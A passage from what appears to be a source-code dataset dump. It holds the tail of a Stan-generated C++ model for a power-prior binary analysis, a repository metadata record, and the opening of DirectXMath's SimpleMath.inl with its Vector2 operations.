}
current_statement_begin__ = 39;
if (!(context__.contains_r("thetas")))
stan::lang::rethrow_located(std::runtime_error(std::string("Variable thetas missing")), current_statement_begin__, prog_reader__());
vals_r__ = context__.vals_r("thetas");
pos__ = 0U;
validate_non_negative_index("thetas", "S", S);
context__.validate_dims("parameter initialization", "thetas", "vector_d", context__.to_vec(S));
Eigen::Matrix<double, Eigen::Dynamic, 1> thetas(S);
size_t thetas_j_1_max__ = S;
for (size_t j_1__ = 0; j_1__ < thetas_j_1_max__; ++j_1__) {
thetas(j_1__) = vals_r__[pos__++];
}
try {
writer__.vector_lub_unconstrain(0, 1, thetas);
} catch (const std::exception& e) {
stan::lang::rethrow_located(std::runtime_error(std::string("Error transforming variable thetas: ") + e.what()), current_statement_begin__, prog_reader__());
}
params_r__ = writer__.data_r();
params_i__ = writer__.data_i();
}
void transform_inits(const stan::io::var_context& context,
Eigen::Matrix<double, Eigen::Dynamic, 1>& params_r,
std::ostream* pstream__) const {
std::vector<double> params_r_vec;
std::vector<int> params_i_vec;
transform_inits(context, params_i_vec, params_r_vec, pstream__);
params_r.resize(params_r_vec.size());
for (int i = 0; i < params_r.size(); ++i)
params_r(i) = params_r_vec[i];
}
template <bool propto__, bool jacobian__, typename T__>
T__ log_prob(std::vector<T__>& params_r__,
std::vector<int>& params_i__,
std::ostream* pstream__ = 0) const {
typedef T__ local_scalar_t__;
local_scalar_t__ DUMMY_VAR__(std::numeric_limits<double>::quiet_NaN());
(void) DUMMY_VAR__; // dummy to suppress unused var warning
T__ lp__(0.0);
stan::math::accumulator<T__> lp_accum__;
try {
stan::io::reader<local_scalar_t__> in__(params_r__, params_i__);
// model parameters
current_statement_begin__ = 38;
Eigen::Matrix<local_scalar_t__, Eigen::Dynamic, 1> vs;
(void) vs; // dummy to suppress unused var warning
if (jacobian__)
vs = in__.simplex_constrain(S, lp__);
else
vs = in__.simplex_constrain(S);
current_statement_begin__ = 39;
Eigen::Matrix<local_scalar_t__, Eigen::Dynamic, 1> thetas;
(void) thetas; // dummy to suppress unused var warning
if (jacobian__)
thetas = in__.vector_lub_constrain(0, 1, S, lp__);
else
thetas = in__.vector_lub_constrain(0, 1, S);
// transformed parameters
current_statement_begin__ = 43;
validate_non_negative_index("as", "S", S);
std::vector<local_scalar_t__> as(S, local_scalar_t__(0));
stan::math::initialize(as, DUMMY_VAR__);
stan::math::fill(as, DUMMY_VAR__);
current_statement_begin__ = 44;
validate_non_negative_index("alphas", "S", S);
std::vector<local_scalar_t__> alphas(S, local_scalar_t__(0));
stan::math::initialize(alphas, DUMMY_VAR__);
stan::math::fill(alphas, DUMMY_VAR__);
current_statement_begin__ = 45;
validate_non_negative_index("betas", "S", S);
std::vector<local_scalar_t__> betas(S, local_scalar_t__(0));
stan::math::initialize(betas, DUMMY_VAR__);
stan::math::fill(betas, DUMMY_VAR__);
// transformed parameters block statements
current_statement_begin__ = 47;
for (int i = 1; i <= S; ++i) {
current_statement_begin__ = 48;
if (as_bool(logical_eq(0, FIXVS))) {
current_statement_begin__ = 49;
stan::model::assign(as,
stan::model::cons_list(stan::model::index_uni(i), stan::model::nil_index_list()),
(logical_lt(1, ((A * get_base1(vs, i, "vs", 1)) / get_base1(N0, i, "N0", 1))) ? stan::math::promote_scalar<local_scalar_t__>(1) : stan::math::promote_scalar<local_scalar_t__>(((A * get_base1(vs, i, "vs", 1)) / get_base1(N0, i, "N0", 1))) ),
"assigning variable as");
} else {
current_statement_begin__ = 51;
stan::model::assign(as,
stan::model::cons_list(stan::model::index_uni(i), stan::model::nil_index_list()),
(logical_lt(1, ((A * get_base1(RS, i, "RS", 1)) / get_base1(N0, i, "N0", 1))) ? stan::math::promote_scalar<double>(1) : stan::math::promote_scalar<double>(((A * get_base1(RS, i, "RS", 1)) / get_base1(N0, i, "N0", 1))) ),
"assigning variable as");
}
current_statement_begin__ = 53;
stan::model::assign(alphas,
stan::model::cons_list(stan::model::index_uni(i), stan::model::nil_index_list()),
(((get_base1(as, i, "as", 1) * get_base1(N0, i, "N0", 1)) * get_base1(YBAR0, i, "YBAR0", 1)) + 1),
"assigning variable alphas");
current_statement_begin__ = 54;
stan::model::assign(betas,
stan::model::cons_list(stan::model::index_uni(i), stan::model::nil_index_list()),
(((get_base1(as, i, "as", 1) * get_base1(N0, i, "N0", 1)) * (1 - get_base1(YBAR0, i, "YBAR0", 1))) + 1),
"assigning variable betas");
}
// validate transformed parameters
const char* function__ = "validate transformed params";
(void) function__; // dummy to suppress unused var warning
current_statement_begin__ = 43;
size_t as_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < as_k_0_max__; ++k_0__) {
if (stan::math::is_uninitialized(as[k_0__])) {
std::stringstream msg__;
msg__ << "Undefined transformed parameter: as" << "[" << k_0__ << "]";
stan::lang::rethrow_located(std::runtime_error(std::string("Error initializing variable as: ") + msg__.str()), current_statement_begin__, prog_reader__());
}
}
size_t as_i_0_max__ = S;
for (size_t i_0__ = 0; i_0__ < as_i_0_max__; ++i_0__) {
check_greater_or_equal(function__, "as[i_0__]", as[i_0__], 0);
check_less_or_equal(function__, "as[i_0__]", as[i_0__], 1);
}
current_statement_begin__ = 44;
size_t alphas_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < alphas_k_0_max__; ++k_0__) {
if (stan::math::is_uninitialized(alphas[k_0__])) {
std::stringstream msg__;
msg__ << "Undefined transformed parameter: alphas" << "[" << k_0__ << "]";
stan::lang::rethrow_located(std::runtime_error(std::string("Error initializing variable alphas: ") + msg__.str()), current_statement_begin__, prog_reader__());
}
}
size_t alphas_i_0_max__ = S;
for (size_t i_0__ = 0; i_0__ < alphas_i_0_max__; ++i_0__) {
check_greater_or_equal(function__, "alphas[i_0__]", alphas[i_0__], 0);
}
current_statement_begin__ = 45;
size_t betas_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < betas_k_0_max__; ++k_0__) {
if (stan::math::is_uninitialized(betas[k_0__])) {
std::stringstream msg__;
msg__ << "Undefined transformed parameter: betas" << "[" << k_0__ << "]";
stan::lang::rethrow_located(std::runtime_error(std::string("Error initializing variable betas: ") + msg__.str()), current_statement_begin__, prog_reader__());
}
}
size_t betas_i_0_max__ = S;
for (size_t i_0__ = 0; i_0__ < betas_i_0_max__; ++i_0__) {
check_greater_or_equal(function__, "betas[i_0__]", betas[i_0__], 0);
}
// model body
current_statement_begin__ = 60;
if (as_bool(logical_gt(A, 0))) {
current_statement_begin__ = 61;
lp_accum__.add(beta_log(thetas, alphas, betas));
} else {
current_statement_begin__ = 63;
lp_accum__.add(uniform_log<propto__>(thetas, 0, 1));
}
current_statement_begin__ = 65;
lp_accum__.add(dirichlet_log<propto__>(vs, RS));
current_statement_begin__ = 68;
lp_accum__.add(binomial_log<propto__>(YSUM1, N1, thetas));
} catch (const std::exception& e) {
stan::lang::rethrow_located(e, current_statement_begin__, prog_reader__());
// Next line prevents compiler griping about no return
throw std::runtime_error("*** IF YOU SEE THIS, PLEASE REPORT A BUG ***");
}
lp_accum__.add(lp__);
return lp_accum__.sum();
} // log_prob()
template <bool propto, bool jacobian, typename T_>
T_ log_prob(Eigen::Matrix<T_,Eigen::Dynamic,1>& params_r,
std::ostream* pstream = 0) const {
std::vector<T_> vec_params_r;
vec_params_r.reserve(params_r.size());
for (int i = 0; i < params_r.size(); ++i)
vec_params_r.push_back(params_r(i));
std::vector<int> vec_params_i;
return log_prob<propto,jacobian,T_>(vec_params_r, vec_params_i, pstream);
}
void get_param_names(std::vector<std::string>& names__) const {
names__.resize(0);
names__.push_back("vs");
names__.push_back("thetas");
names__.push_back("as");
names__.push_back("alphas");
names__.push_back("betas");
names__.push_back("theta");
}
void get_dims(std::vector<std::vector<size_t> >& dimss__) const {
dimss__.resize(0);
std::vector<size_t> dims__;
dims__.resize(0);
dims__.push_back(S);
dimss__.push_back(dims__);
dims__.resize(0);
dims__.push_back(S);
dimss__.push_back(dims__);
dims__.resize(0);
dims__.push_back(S);
dimss__.push_back(dims__);
dims__.resize(0);
dims__.push_back(S);
dimss__.push_back(dims__);
dims__.resize(0);
dims__.push_back(S);
dimss__.push_back(dims__);
dims__.resize(0);
dimss__.push_back(dims__);
}
template <typename RNG>
void write_array(RNG& base_rng__,
std::vector<double>& params_r__,
std::vector<int>& params_i__,
std::vector<double>& vars__,
bool include_tparams__ = true,
bool include_gqs__ = true,
std::ostream* pstream__ = 0) const {
typedef double local_scalar_t__;
vars__.resize(0);
stan::io::reader<local_scalar_t__> in__(params_r__, params_i__);
static const char* function__ = "model_powerpsbinary_namespace::write_array";
(void) function__; // dummy to suppress unused var warning
// read-transform, write parameters
Eigen::Matrix<double, Eigen::Dynamic, 1> vs = in__.simplex_constrain(S);
size_t vs_j_1_max__ = S;
for (size_t j_1__ = 0; j_1__ < vs_j_1_max__; ++j_1__) {
vars__.push_back(vs(j_1__));
}
Eigen::Matrix<double, Eigen::Dynamic, 1> thetas = in__.vector_lub_constrain(0, 1, S);
size_t thetas_j_1_max__ = S;
for (size_t j_1__ = 0; j_1__ < thetas_j_1_max__; ++j_1__) {
vars__.push_back(thetas(j_1__));
}
double lp__ = 0.0;
(void) lp__; // dummy to suppress unused var warning
stan::math::accumulator<double> lp_accum__;
local_scalar_t__ DUMMY_VAR__(std::numeric_limits<double>::quiet_NaN());
(void) DUMMY_VAR__; // suppress unused var warning
if (!include_tparams__ && !include_gqs__) return;
try {
// declare and define transformed parameters
current_statement_begin__ = 43;
validate_non_negative_index("as", "S", S);
std::vector<double> as(S, double(0));
stan::math::initialize(as, DUMMY_VAR__);
stan::math::fill(as, DUMMY_VAR__);
current_statement_begin__ = 44;
validate_non_negative_index("alphas", "S", S);
std::vector<double> alphas(S, double(0));
stan::math::initialize(alphas, DUMMY_VAR__);
stan::math::fill(alphas, DUMMY_VAR__);
current_statement_begin__ = 45;
validate_non_negative_index("betas", "S", S);
std::vector<double> betas(S, double(0));
stan::math::initialize(betas, DUMMY_VAR__);
stan::math::fill(betas, DUMMY_VAR__);
// do transformed parameters statements
current_statement_begin__ = 47;
for (int i = 1; i <= S; ++i) {
current_statement_begin__ = 48;
if (as_bool(logical_eq(0, FIXVS))) {
current_statement_begin__ = 49;
stan::model::assign(as,
stan::model::cons_list(stan::model::index_uni(i), stan::model::nil_index_list()),
(logical_lt(1, ((A * get_base1(vs, i, "vs", 1)) / get_base1(N0, i, "N0", 1))) ? stan::math::promote_scalar<local_scalar_t__>(1) : stan::math::promote_scalar<local_scalar_t__>(((A * get_base1(vs, i, "vs", 1)) / get_base1(N0, i, "N0", 1))) ),
"assigning variable as");
} else {
current_statement_begin__ = 51;
stan::model::assign(as,
stan::model::cons_list(stan::model::index_uni(i), stan::model::nil_index_list()),
(logical_lt(1, ((A * get_base1(RS, i, "RS", 1)) / get_base1(N0, i, "N0", 1))) ? stan::math::promote_scalar<double>(1) : stan::math::promote_scalar<double>(((A * get_base1(RS, i, "RS", 1)) / get_base1(N0, i, "N0", 1))) ),
"assigning variable as");
}
current_statement_begin__ = 53;
stan::model::assign(alphas,
stan::model::cons_list(stan::model::index_uni(i), stan::model::nil_index_list()),
(((get_base1(as, i, "as", 1) * get_base1(N0, i, "N0", 1)) * get_base1(YBAR0, i, "YBAR0", 1)) + 1),
"assigning variable alphas");
current_statement_begin__ = 54;
stan::model::assign(betas,
stan::model::cons_list(stan::model::index_uni(i), stan::model::nil_index_list()),
(((get_base1(as, i, "as", 1) * get_base1(N0, i, "N0", 1)) * (1 - get_base1(YBAR0, i, "YBAR0", 1))) + 1),
"assigning variable betas");
}
if (!include_gqs__ && !include_tparams__) return;
// validate transformed parameters
const char* function__ = "validate transformed params";
(void) function__; // dummy to suppress unused var warning
current_statement_begin__ = 43;
size_t as_i_0_max__ = S;
for (size_t i_0__ = 0; i_0__ < as_i_0_max__; ++i_0__) {
check_greater_or_equal(function__, "as[i_0__]", as[i_0__], 0);
check_less_or_equal(function__, "as[i_0__]", as[i_0__], 1);
}
current_statement_begin__ = 44;
size_t alphas_i_0_max__ = S;
for (size_t i_0__ = 0; i_0__ < alphas_i_0_max__; ++i_0__) {
check_greater_or_equal(function__, "alphas[i_0__]", alphas[i_0__], 0);
}
current_statement_begin__ = 45;
size_t betas_i_0_max__ = S;
for (size_t i_0__ = 0; i_0__ < betas_i_0_max__; ++i_0__) {
check_greater_or_equal(function__, "betas[i_0__]", betas[i_0__], 0);
}
// write transformed parameters
if (include_tparams__) {
size_t as_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < as_k_0_max__; ++k_0__) {
vars__.push_back(as[k_0__]);
}
size_t alphas_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < alphas_k_0_max__; ++k_0__) {
vars__.push_back(alphas[k_0__]);
}
size_t betas_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < betas_k_0_max__; ++k_0__) {
vars__.push_back(betas[k_0__]);
}
}
if (!include_gqs__) return;
// declare and define generated quantities
current_statement_begin__ = 72;
double theta;
(void) theta; // dummy to suppress unused var warning
stan::math::initialize(theta, DUMMY_VAR__);
stan::math::fill(theta, DUMMY_VAR__);
// generated quantities statements
current_statement_begin__ = 73;
stan::math::assign(theta, multiply(WS1, thetas));
// validate, write generated quantities
current_statement_begin__ = 72;
vars__.push_back(theta);
} catch (const std::exception& e) {
stan::lang::rethrow_located(e, current_statement_begin__, prog_reader__());
// Next line prevents compiler griping about no return
throw std::runtime_error("*** IF YOU SEE THIS, PLEASE REPORT A BUG ***");
}
}
template <typename RNG>
void write_array(RNG& base_rng,
Eigen::Matrix<double,Eigen::Dynamic,1>& params_r,
Eigen::Matrix<double,Eigen::Dynamic,1>& vars,
bool include_tparams = true,
bool include_gqs = true,
std::ostream* pstream = 0) const {
std::vector<double> params_r_vec(params_r.size());
for (int i = 0; i < params_r.size(); ++i)
params_r_vec[i] = params_r(i);
std::vector<double> vars_vec;
std::vector<int> params_i_vec;
write_array(base_rng, params_r_vec, params_i_vec, vars_vec, include_tparams, include_gqs, pstream);
vars.resize(vars_vec.size());
for (int i = 0; i < vars.size(); ++i)
vars(i) = vars_vec[i];
}
std::string model_name() const {
return "model_powerpsbinary";
}
void constrained_param_names(std::vector<std::string>& param_names__,
bool include_tparams__ = true,
bool include_gqs__ = true) const {
std::stringstream param_name_stream__;
size_t vs_j_1_max__ = S;
for (size_t j_1__ = 0; j_1__ < vs_j_1_max__; ++j_1__) {
param_name_stream__.str(std::string());
param_name_stream__ << "vs" << '.' << j_1__ + 1;
param_names__.push_back(param_name_stream__.str());
}
size_t thetas_j_1_max__ = S;
for (size_t j_1__ = 0; j_1__ < thetas_j_1_max__; ++j_1__) {
param_name_stream__.str(std::string());
param_name_stream__ << "thetas" << '.' << j_1__ + 1;
param_names__.push_back(param_name_stream__.str());
}
if (!include_gqs__ && !include_tparams__) return;
if (include_tparams__) {
size_t as_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < as_k_0_max__; ++k_0__) {
param_name_stream__.str(std::string());
param_name_stream__ << "as" << '.' << k_0__ + 1;
param_names__.push_back(param_name_stream__.str());
}
size_t alphas_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < alphas_k_0_max__; ++k_0__) {
param_name_stream__.str(std::string());
param_name_stream__ << "alphas" << '.' << k_0__ + 1;
param_names__.push_back(param_name_stream__.str());
}
size_t betas_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < betas_k_0_max__; ++k_0__) {
param_name_stream__.str(std::string());
param_name_stream__ << "betas" << '.' << k_0__ + 1;
param_names__.push_back(param_name_stream__.str());
}
}
if (!include_gqs__) return;
param_name_stream__.str(std::string());
param_name_stream__ << "theta";
param_names__.push_back(param_name_stream__.str());
}
void unconstrained_param_names(std::vector<std::string>& param_names__,
bool include_tparams__ = true,
bool include_gqs__ = true) const {
std::stringstream param_name_stream__;
size_t vs_j_1_max__ = (S - 1);
for (size_t j_1__ = 0; j_1__ < vs_j_1_max__; ++j_1__) {
param_name_stream__.str(std::string());
param_name_stream__ << "vs" << '.' << j_1__ + 1;
param_names__.push_back(param_name_stream__.str());
}
size_t thetas_j_1_max__ = S;
for (size_t j_1__ = 0; j_1__ < thetas_j_1_max__; ++j_1__) {
param_name_stream__.str(std::string());
param_name_stream__ << "thetas" << '.' << j_1__ + 1;
param_names__.push_back(param_name_stream__.str());
}
if (!include_gqs__ && !include_tparams__) return;
if (include_tparams__) {
size_t as_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < as_k_0_max__; ++k_0__) {
param_name_stream__.str(std::string());
param_name_stream__ << "as" << '.' << k_0__ + 1;
param_names__.push_back(param_name_stream__.str());
}
size_t alphas_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < alphas_k_0_max__; ++k_0__) {
param_name_stream__.str(std::string());
param_name_stream__ << "alphas" << '.' << k_0__ + 1;
param_names__.push_back(param_name_stream__.str());
}
size_t betas_k_0_max__ = S;
for (size_t k_0__ = 0; k_0__ < betas_k_0_max__; ++k_0__) {
param_name_stream__.str(std::string());
param_name_stream__ << "betas" << '.' << k_0__ + 1;
param_names__.push_back(param_name_stream__.str());
}
}
if (!include_gqs__) return;
param_name_stream__.str(std::string());
param_name_stream__ << "theta";
param_names__.push_back(param_name_stream__.str());
}
}; // model
} // namespace
typedef model_powerpsbinary_namespace::model_powerpsbinary stan_model;
#ifndef USING_R
stan::model::model_base& new_model(
stan::io::var_context& data_context,
unsigned int seed,
std::ostream* msg_stream) {
stan_model* m = new stan_model(data_context, seed, msg_stream);
return *m;
}
#endif
#endif
|
[
"akhilakollasrinu424jf@gmail.com"
] |
akhilakollasrinu424jf@gmail.com
|
5953d0d032ad3534c7cc7615e10e7ca7f88fafa3
|
72acc99d53736b089bba14737f6123e8792eb7d0
|
/include/SimpleMath.inl
|
144aa6c46b11b2dd03338dc9ceef41a9be8d9101
|
[] |
no_license
|
NickWedzinga/3DProjekt
|
cb4fb24cdb4d0dcfecd7bd2605fe65196d4d5bd7
|
75aef1486ddc4445f697b26bb44badd87fa73046
|
refs/heads/master
| 2021-01-10T15:09:36.840134
| 2016-11-04T08:16:44
| 2016-11-04T08:16:44
| 50,170,945
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 111,899
|
inl
|
//-------------------------------------------------------------------------------------
// SimpleMath.inl -- Simplified C++ Math wrapper for DirectXMath
//
// THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
// ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO
// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
// PARTICULAR PURPOSE.
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//
// http://go.microsoft.com/fwlink/?LinkId=248929
//-------------------------------------------------------------------------------------
#pragma once
/****************************************************************************
*
* Vector2
*
****************************************************************************/
//------------------------------------------------------------------------------
// Comparision operators
//------------------------------------------------------------------------------
inline bool Vector2::operator == ( const Vector2& V ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR v2 = XMLoadFloat2( &V );
return XMVector2Equal( v1, v2 );
}
inline bool Vector2::operator != ( const Vector2& V ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR v2 = XMLoadFloat2( &V );
return XMVector2NotEqual( v1, v2 );
}
//------------------------------------------------------------------------------
// Assignment operators
//------------------------------------------------------------------------------
inline Vector2& Vector2::operator+= (const Vector2& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR v2 = XMLoadFloat2( &V );
XMVECTOR X = XMVectorAdd(v1,v2);
XMStoreFloat2( this, X );
return *this;
}
inline Vector2& Vector2::operator-= (const Vector2& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR v2 = XMLoadFloat2( &V );
XMVECTOR X = XMVectorSubtract(v1,v2);
XMStoreFloat2( this, X );
return *this;
}
inline Vector2& Vector2::operator*= (const Vector2& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR v2 = XMLoadFloat2( &V );
XMVECTOR X = XMVectorMultiply(v1,v2);
XMStoreFloat2( this, X );
return *this;
}
inline Vector2& Vector2::operator*= (float S)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR X = XMVectorScale(v1,S);
XMStoreFloat2( this, X );
return *this;
}
inline Vector2& Vector2::operator/= (float S)
{
using namespace DirectX;
assert( S != 0.0f );
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR X = XMVectorScale(v1, 1.f/S);
XMStoreFloat2( this, X );
return *this;
}
//------------------------------------------------------------------------------
// Binary operators
//------------------------------------------------------------------------------
inline Vector2 operator+ (const Vector2& V1, const Vector2& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &V1 );
XMVECTOR v2 = XMLoadFloat2( &V2 );
XMVECTOR X = XMVectorAdd(v1,v2);
Vector2 R;
XMStoreFloat2( &R, X );
return R;
}
inline Vector2 operator- (const Vector2& V1, const Vector2& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &V1 );
XMVECTOR v2 = XMLoadFloat2( &V2 );
XMVECTOR X = XMVectorSubtract(v1,v2);
Vector2 R;
XMStoreFloat2( &R, X );
return R;
}
inline Vector2 operator* (const Vector2& V1, const Vector2& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &V1 );
XMVECTOR v2 = XMLoadFloat2( &V2 );
XMVECTOR X = XMVectorMultiply(v1,v2);
Vector2 R;
XMStoreFloat2( &R, X );
return R;
}
inline Vector2 operator* (const Vector2& V, float S)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &V );
XMVECTOR X = XMVectorScale(v1,S);
Vector2 R;
XMStoreFloat2( &R, X );
return R;
}
inline Vector2 operator/ (const Vector2& V1, const Vector2& V2)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &V1 );
XMVECTOR v2 = XMLoadFloat2( &V2 );
XMVECTOR X = XMVectorDivide(v1,v2);
Vector2 R;
XMStoreFloat2( &R, X );
return R;
}
inline Vector2 operator* (float S, const Vector2& V)
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( &V );
XMVECTOR X = XMVectorScale(v1,S);
Vector2 R;
XMStoreFloat2( &R, X );
return R;
}
//------------------------------------------------------------------------------
// Vector operations
//------------------------------------------------------------------------------
inline bool Vector2::InBounds( const Vector2& Bounds ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR v2 = XMLoadFloat2( &Bounds );
return XMVector2InBounds( v1, v2 );
}
inline float Vector2::Length() const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR X = XMVector2Length( v1 );
return XMVectorGetX( X );
}
inline float Vector2::LengthSquared() const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR X = XMVector2LengthSq( v1 );
return XMVectorGetX( X );
}
inline float Vector2::Dot( const Vector2& V ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR v2 = XMLoadFloat2( &V );
XMVECTOR X = XMVector2Dot( v1, v2 );
return XMVectorGetX( X );
}
inline void Vector2::Cross( const Vector2& V, Vector2& result ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR v2 = XMLoadFloat2( &V );
XMVECTOR R = XMVector2Cross( v1, v2 );
XMStoreFloat2( &result, R );
}
inline Vector2 Vector2::Cross( const Vector2& V ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR v2 = XMLoadFloat2( &V );
XMVECTOR R = XMVector2Cross( v1, v2 );
Vector2 result;
XMStoreFloat2( &result, R );
return result;
}
inline void Vector2::Normalize()
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR X = XMVector2Normalize( v1 );
XMStoreFloat2( this, X );
}
inline void Vector2::Normalize( Vector2& result ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR X = XMVector2Normalize( v1 );
XMStoreFloat2( &result, X );
}
inline void Vector2::Clamp( const Vector2& vmin, const Vector2& vmax )
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR v2 = XMLoadFloat2( &vmin );
XMVECTOR v3 = XMLoadFloat2( &vmax );
XMVECTOR X = XMVectorClamp( v1, v2, v3 );
XMStoreFloat2( this, X );
}
inline void Vector2::Clamp( const Vector2& vmin, const Vector2& vmax, Vector2& result ) const
{
using namespace DirectX;
XMVECTOR v1 = XMLoadFloat2( this );
XMVECTOR v2 = XMLoadFloat2( &vmin );
XMVECTOR v3 = XMLoadFloat2( &vmax );
XMVECTOR X = XMVectorClamp( v1, v2, v3 );
XMStoreFloat2( &result, X );
}
//------------------------------------------------------------------------------
// Static functions
//------------------------------------------------------------------------------
inline float Vector2::Distance( const Vector2& v1, const Vector2& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR V = XMVectorSubtract( x2, x1 );
XMVECTOR X = XMVector2Length( V );
return XMVectorGetX( X );
}
inline float Vector2::DistanceSquared( const Vector2& v1, const Vector2& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR V = XMVectorSubtract( x2, x1 );
XMVECTOR X = XMVector2LengthSq( V );
return XMVectorGetX( X );
}
inline void Vector2::Min( const Vector2& v1, const Vector2& v2, Vector2& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR X = XMVectorMin( x1, x2 );
XMStoreFloat2( &result, X );
}
inline Vector2 Vector2::Min( const Vector2& v1, const Vector2& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR X = XMVectorMin( x1, x2 );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
inline void Vector2::Max( const Vector2& v1, const Vector2& v2, Vector2& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR X = XMVectorMax( x1, x2 );
XMStoreFloat2( &result, X );
}
inline Vector2 Vector2::Max( const Vector2& v1, const Vector2& v2 )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR X = XMVectorMax( x1, x2 );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
inline void Vector2::Lerp( const Vector2& v1, const Vector2& v2, float t, Vector2& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
XMStoreFloat2( &result, X );
}
inline Vector2 Vector2::Lerp( const Vector2& v1, const Vector2& v2, float t )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
inline void Vector2::SmoothStep( const Vector2& v1, const Vector2& v2, float t, Vector2& result )
{
using namespace DirectX;
t = (t > 1.0f) ? 1.0f : ((t < 0.0f) ? 0.0f : t); // Clamp value to 0 to 1
t = t*t*(3.f - 2.f*t);
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
XMStoreFloat2( &result, X );
}
inline Vector2 Vector2::SmoothStep( const Vector2& v1, const Vector2& v2, float t )
{
using namespace DirectX;
t = (t > 1.0f) ? 1.0f : ((t < 0.0f) ? 0.0f : t); // Clamp value to 0 to 1
t = t*t*(3.f - 2.f*t);
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR X = XMVectorLerp( x1, x2, t );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
inline void Vector2::Barycentric( const Vector2& v1, const Vector2& v2, const Vector2& v3, float f, float g, Vector2& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR x3 = XMLoadFloat2( &v3 );
XMVECTOR X = XMVectorBaryCentric( x1, x2, x3, f, g );
XMStoreFloat2( &result, X );
}
inline Vector2 Vector2::Barycentric( const Vector2& v1, const Vector2& v2, const Vector2& v3, float f, float g )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR x3 = XMLoadFloat2( &v3 );
XMVECTOR X = XMVectorBaryCentric( x1, x2, x3, f, g );
Vector2 result;
XMStoreFloat2( &result, X );
return result;
}
inline void Vector2::CatmullRom( const Vector2& v1, const Vector2& v2, const Vector2& v3, const Vector2& v4, float t, Vector2& result )
{
using namespace DirectX;
XMVECTOR x1 = XMLoadFloat2( &v1 );
XMVECTOR x2 = XMLoadFloat2( &v2 );
XMVECTOR x3 = XMLoadFloat2( &v3 );
XMVECTOR x4 = XMLoadFloat2( &v4 );
XMVECTOR X = XMVectorCatmullRom( x1, x2, x3, x4, t );
XMStoreFloat2( &result, X );
}
